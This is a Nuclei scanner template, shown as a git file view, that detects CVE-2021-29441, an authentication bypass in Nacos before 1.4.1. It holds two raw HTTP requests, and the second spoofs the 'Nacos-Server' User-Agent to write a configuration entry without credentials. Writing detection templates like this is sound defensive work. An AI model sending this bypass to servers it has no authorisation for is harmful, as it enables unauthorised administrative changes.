nuclei-templates/cves/2021/CVE-2021-29441.yaml

61 lines
1.9 KiB
YAML
Raw Normal View History

2021-04-28 04:54:36 +00:00
id: CVE-2021-29441
info:
name: Nacos <1.4.1 - Authentication Bypass
author: dwisiswant0
severity: critical
2021-04-28 04:54:36 +00:00
description: |
2021-04-28 14:01:25 +00:00
This template only works on Nuclei engine prior to version 2.3.3 and version >= 2.3.5.
2021-04-28 04:54:36 +00:00
In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true)
Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that
enables Nacos servers to bypass this filter and therefore skip authentication checks.
This mechanism relies on the user-agent HTTP header so it can be easily spoofed.
This issue may allow any user to carry out any administrative tasks on the Nacos server.
reference:
- https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
- https://github.com/alibaba/nacos/issues/4701
- https://github.com/advisories/GHSA-36hp-jr8h-556f
- https://github.com/alibaba/nacos/pull/4703
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-29441
cwe-id: CWE-290
tags: nacos,auth-bypass,cve,cve2021
2021-04-28 04:54:36 +00:00
requests:
2021-05-05 12:53:07 +00:00
- raw:
- |
POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1
Host: {{Hostname}}
Accept: */*
- |
POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: Nacos-Server
req-condition: true
2021-04-28 04:54:36 +00:00
matchers-condition: and
matchers:
2021-05-05 12:53:07 +00:00
- type: dsl
dsl:
- "status_code_1 == 403"
- "status_code_2 == 200"
condition: and
- type: dsl
dsl:
- "contains(body_1, 'Forbidden')"
2021-05-06 09:24:08 +00:00
- "body_2 == 'true'"
2021-05-05 12:53:07 +00:00
condition: and
2021-04-28 04:54:36 +00:00
- type: word
words:
- "application/json"
part: header
# Enhanced by mp on 2022/05/17